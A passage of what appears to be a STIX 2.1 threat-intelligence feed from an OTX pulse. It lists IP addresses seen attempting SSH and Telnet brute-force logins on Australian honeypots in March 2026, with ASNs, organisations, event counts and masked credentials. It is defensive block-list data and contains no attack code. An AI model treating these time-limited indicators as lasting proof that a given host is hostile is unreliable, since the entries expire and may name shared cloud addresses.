      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA.",
      "id": "indicator--c0586bff-1ad3-4e5e-b999-10b44d724a68",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.59.191.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T05:15:13.000Z",
      "valid_until": "2026-04-17T05:15:12.000Z"
    },
    {
      "created": "2026-03-16T06:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--922e3658-cd97-4700-8339-0bd28ef4faa7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '117.254.120.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T06:15:14.000Z",
      "valid_until": "2026-04-17T06:15:12.000Z"
    },
    {
      "created": "2026-03-16T06:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262887. Organisation(s): RAPIX INTERNET.",
      "id": "indicator--1a71d451-34db-47d2-aba5-fdc399ac13d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '138.94.234.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T06:15:14.000Z",
      "valid_until": "2026-04-17T06:15:12.000Z"
    },
    {
      "created": "2026-03-16T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--6b8cad78-bc1e-48d1-999e-943650109cfb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.198.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T06:15:14.000Z",
      "valid_until": "2026-04-17T06:15:12.000Z"
    },
    {
      "created": "2026-03-16T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 280. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n, r**t, t**t, u****u, u**r. Passwords observed (masked): 1***5, 1******8, 1*******9, p******d, q****y.",
      "id": "indicator--7494750f-0b12-48fe-b211-15dbdbe42630",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.199.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T06:15:14.000Z",
      "valid_until": "2026-04-17T06:15:12.000Z"
    },
    {
      "created": "2026-03-16T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--4d17b7c6-5a2e-480d-b5e9-455bc9258d13",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '121.141.219.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T07:15:14.000Z",
      "valid_until": "2026-04-17T07:15:12.000Z"
    },
    {
      "created": "2026-03-16T07:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--76714659-7e28-4c9a-ac99-cbc835e0659b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '122.96.31.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T07:15:14.000Z",
      "valid_until": "2026-04-17T07:15:12.000Z"
    },
    {
      "created": "2026-03-16T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): **, ***. Passwords observed (masked): d***3, l*****s.",
      "id": "indicator--ffd3d82e-5bcd-46b0-998e-966f22f54af6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.103.63.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T07:15:14.000Z",
      "valid_until": "2026-04-17T07:15:12.000Z"
    },
    {
      "created": "2026-03-16T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): t***t. Passwords observed (masked): T******3.",
      "id": "indicator--5707027d-6808-4163-a3a2-881f14049e88",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '155.248.164.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T07:15:14.000Z",
      "valid_until": "2026-04-17T07:15:12.000Z"
    },
    {
      "created": "2026-03-16T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1481. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, u****u, d****y, m*******t, a***n. Passwords observed (masked): 1****6, ***, p******d, P******d, 1**4.",
      "id": "indicator--e79892b0-3ae1-4210-afbf-a1d171ea95a2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.182.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T07:15:14.000Z",
      "valid_until": "2026-04-17T07:15:12.000Z"
    },
    {
      "created": "2026-03-16T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t. Passwords observed (masked): r******4, r******3.",
      "id": "indicator--08830e75-4d53-440e-a474-078d1b49e00e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.210.53.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T07:15:14.000Z",
      "valid_until": "2026-04-17T07:15:12.000Z"
    },
    {
      "created": "2026-03-16T07:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 56046. Organisation(s): China Mobile communications corporation.",
      "id": "indicator--d0c747d2-4eab-4309-8a85-83e19ab3393f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '183.212.244.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T07:15:14.000Z",
      "valid_until": "2026-04-17T07:15:12.000Z"
    },
    {
      "created": "2026-03-16T07:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC. Usernames observed (masked): A*******************p, G************1, U**************************************************************************************************). Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--807ce508-98da-4f29-9dee-aead1c4e0882",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T07:15:14.000Z",
      "valid_until": "2026-04-17T07:15:12.000Z"
    },
    {
      "created": "2026-03-16T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 9808. Organisation(s): China Mobile Communications Group Co., Ltd.. Usernames observed (masked): *. Passwords observed (masked): *.",
      "id": "indicator--bc828986-3bc0-4aeb-9476-aec1f8ba9347",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '218.200.173.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T07:15:14.000Z",
      "valid_until": "2026-04-17T07:15:12.000Z"
    },
    {
      "created": "2026-03-16T07:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--bb182cbd-b623-41f0-b428-78b998471a6e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '220.175.83.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T07:15:14.000Z",
      "valid_until": "2026-04-17T07:15:12.000Z"
    },
    {
      "created": "2026-03-16T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--dcbef8fd-c501-4465-865f-3c0640147821",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T07:15:14.000Z",
      "valid_until": "2026-04-17T07:15:12.000Z"
    },
    {
      "created": "2026-03-16T07:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AZ. ASN(s): 200446. Organisation(s): SELNET LLC.",
      "id": "indicator--6bacb4ba-dbaf-4b5d-ac15-adef5bf2215c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '85.132.110.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T07:15:14.000Z",
      "valid_until": "2026-04-17T07:15:12.000Z"
    },
    {
      "created": "2026-03-16T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 209334. Organisation(s): Modat B.V..",
      "id": "indicator--15b07f4d-9551-43ee-bcc3-212c3c1c42b4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '85.217.140.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T07:15:14.000Z",
      "valid_until": "2026-04-17T07:15:12.000Z"
    },
    {
      "created": "2026-03-16T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 7922. Organisation(s): Comcast Cable Communications, LLC. Usernames observed (masked): p***r. Passwords observed (masked): 1**4.",
      "id": "indicator--436614d7-12ca-4001-a366-f1323aa612ef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T07:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '96.92.63.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T07:15:14.000Z",
      "valid_until": "2026-04-17T07:15:12.000Z"
    },
    {
      "created": "2026-03-16T08:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd..",
      "id": "indicator--242183a8-1507-44e4-88ce-de852a412164",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T08:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '115.190.24.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T08:15:14.000Z",
      "valid_until": "2026-04-17T08:15:11.000Z"
    },
    {
      "created": "2026-03-16T08:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services. Usernames observed (masked): r**t, 3**********4, ***, *, c*****e. Passwords observed (masked): 1*******3, 1****6, 3***********4, 3**********4, A*******..",
      "id": "indicator--90821ad9-e50d-4789-be3a-fd0de4325969",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T08:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '122.177.241.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T08:15:14.000Z",
      "valid_until": "2026-04-17T08:15:11.000Z"
    },
    {
      "created": "2026-03-16T08:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 196. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): 3**********4, g********n, k*****r, d****l, ***. Passwords observed (masked): 3***********4, 3**********4, ***, 1******8, A******9.",
      "id": "indicator--406516fe-0ef3-4844-be28-b12584ed7455",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T08:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.89.198.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T08:15:14.000Z",
      "valid_until": "2026-04-17T08:15:11.000Z"
    },
    {
      "created": "2026-03-16T08:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): *, **, ***, 1**4, 1***5.",
      "id": "indicator--38b25e48-e37e-4221-98f4-07605e0a34ec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T08:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.99.42.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T08:15:14.000Z",
      "valid_until": "2026-04-17T08:15:11.000Z"
    },
    {
      "created": "2026-03-16T08:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): 3**********4, g********n, k*****r, d****l, d***o. Passwords observed (masked): 3***********4, 3**********4, ***, 1******8, A******9.",
      "id": "indicator--8756cff3-b0d3-4bdd-998d-5d4ef2c21058",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T08:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.191.157.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T08:15:14.000Z",
      "valid_until": "2026-04-17T08:15:11.000Z"
    },
    {
      "created": "2026-03-16T08:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 53006. Organisation(s): ALGAR TELECOM SA.",
      "id": "indicator--ffd5cfc4-647c-4a5e-821a-6efea2f3d236",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T08:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '179.126.90.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T08:15:14.000Z",
      "valid_until": "2026-04-17T08:15:11.000Z"
    },
    {
      "created": "2026-03-16T08:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA.",
      "id": "indicator--0ccb8f3d-f2a7-45b3-bcb6-aca74fb38afb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T08:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '196.43.90.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T08:15:14.000Z",
      "valid_until": "2026-04-17T08:15:11.000Z"
    },
    {
      "created": "2026-03-16T08:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 190. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 55666. Organisation(s): PT Media Sarana Data. Usernames observed (masked): 3**********4, g********n, k*****r, d****l, ***. Passwords observed (masked): 3***********4, 3**********4, ***, 1******8, G************!.",
      "id": "indicator--78f4bde2-11be-4334-9fa1-7f93fd2ef0ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T08:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.252.156.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T08:15:14.000Z",
      "valid_until": "2026-04-17T08:15:11.000Z"
    },
    {
      "created": "2026-03-16T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 117. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): ***, 3**********4, ***, g******a, p**r. Passwords observed (masked): ***, 1****6, 3***********4, 3**********4, A******0.",
      "id": "indicator--c4374ead-d0a1-4e93-8694-480a9d2b36e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.49.238.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T09:15:13.000Z",
      "valid_until": "2026-04-17T09:15:11.000Z"
    },
    {
      "created": "2026-03-16T09:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--2cdfb43c-7f1f-49e7-a474-66417ebc3555",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.135.45.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T09:15:13.000Z",
      "valid_until": "2026-04-17T09:15:11.000Z"
    },
    {
      "created": "2026-03-16T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--3fa013d8-92b6-4cc6-bfae-bbaca3ac89e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.59.80.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T09:15:13.000Z",
      "valid_until": "2026-04-17T09:15:11.000Z"
    },
    {
      "created": "2026-03-16T09:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--85334f1d-eab5-4f0f-821f-db6cc43beef4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T09:15:13.000Z",
      "valid_until": "2026-04-17T09:15:11.000Z"
    },
    {
      "created": "2026-03-16T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): p******t, 3**********4, g***********r, j***a, r**t. Passwords observed (masked): 3***********4, 3**********4, g**************3, j*******s, n****n.",
      "id": "indicator--56a3cb82-0791-46ba-8db4-679255576602",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.32.171.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T09:15:13.000Z",
      "valid_until": "2026-04-17T09:15:11.000Z"
    },
    {
      "created": "2026-03-16T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 401701. Organisation(s): cognetcloud INC. Usernames observed (masked): m**a, 3**********4, c*****l, ***, i***l. Passwords observed (masked): 1**4, 1***5, 1******8, 3***********4, 3**********4.",
      "id": "indicator--f52271de-365c-4591-9832-27fa7eb6cbe0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '154.222.24.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T09:15:13.000Z",
      "valid_until": "2026-04-17T09:15:11.000Z"
    },
    {
      "created": "2026-03-16T09:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA.",
      "id": "indicator--49a9d8f6-a72f-4252-a14d-e7d244e92d6e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.59.150.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T09:15:13.000Z",
      "valid_until": "2026-04-17T09:15:11.000Z"
    },
    {
      "created": "2026-03-16T09:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA.",
      "id": "indicator--97eecc06-9ba3-4794-9149-87852fe07689",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.59.2.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T09:15:13.000Z",
      "valid_until": "2026-04-17T09:15:11.000Z"
    },
